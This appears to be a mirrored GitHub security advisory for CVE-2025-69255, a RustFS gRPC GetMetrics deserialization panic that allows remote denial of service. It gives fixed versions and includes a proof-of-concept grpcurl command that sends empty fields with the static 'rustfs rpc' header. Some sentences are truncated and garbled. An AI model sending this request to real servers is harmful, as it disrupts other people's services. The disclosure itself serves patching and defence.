rustfs
Affected
- introduced
1.0.0-alpha.13, fixed1.0.0-alpha.78(semver)
Fixed versions
1.0.0-alpha.78
Fix
- Fixed version
1.0.0-alpha.78cargo update -p rustfs --precise 1.0.0-alpha.78
Advisory
Also known as: CVE-2025-69255
RustFS gRPC GetMetrics deserialization panic enables remote DoS
Summary
A malformed gRPC GetMetrics request causes get_metrics to unwrap() failed deserialization of metric_type/opts, panicking the handler thread and enabling remote denial of service of the metrics endpoint.
Details
rustfs/src/storage/tonic_service.rs:1775-1782:MetricType and CollectMetricsOpts are deserialized with Deserialize::deserialize(...).unwrap() from client-supplied bytes.metric_type/opts (e.g., empty or truncated rmp-serde payloads) trigger InvalidMarkerRead and panic.:9000); only a static interceptor token authorization: rustfs rpc is checked in server/http.rs:677.PoC
rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz
mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2
RUSTFS_ACCESS_KEY=devadmin RUSTFS_SECRET_KEY=devadmin \
cargo run --bin rustfs -- --address 0.0.0.0:9000 \
/tmp/rustfs-data1 /tmp/rustfs-data2
rustfs-grpc-metrics-invalid-metric-type-panic-poc/, run:ENDPOINT=127.0.0.1:9000 make run
# or: grpcurl -plaintext \
# -H 'authorization: rustfs rpc' \
# -import-path ../crates/protos/src -proto node.proto \
# -d '{"metric_type":"","opts":""}' \
# 127.0.0.1:9000 node_service.NodeService/GetMetrics
tonic_service.rs:get_metrics with InvalidMarkerRead and worker crash; client output saved to poc-response.txt/poc-grpcurl.log.Impact
authorization: rustfs rpc header; metrics service is disrupted and may affect overall stability depending on runtime crash handling.Medium Basis: The source's own band: MODERATE
1.0.0-alpha.13, fixed 1.0.0-alpha.78 (semver)1.0.0-alpha.78
1.0.0-alpha.78cargo update -p rustfs --precise 1.0.0-alpha.78Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0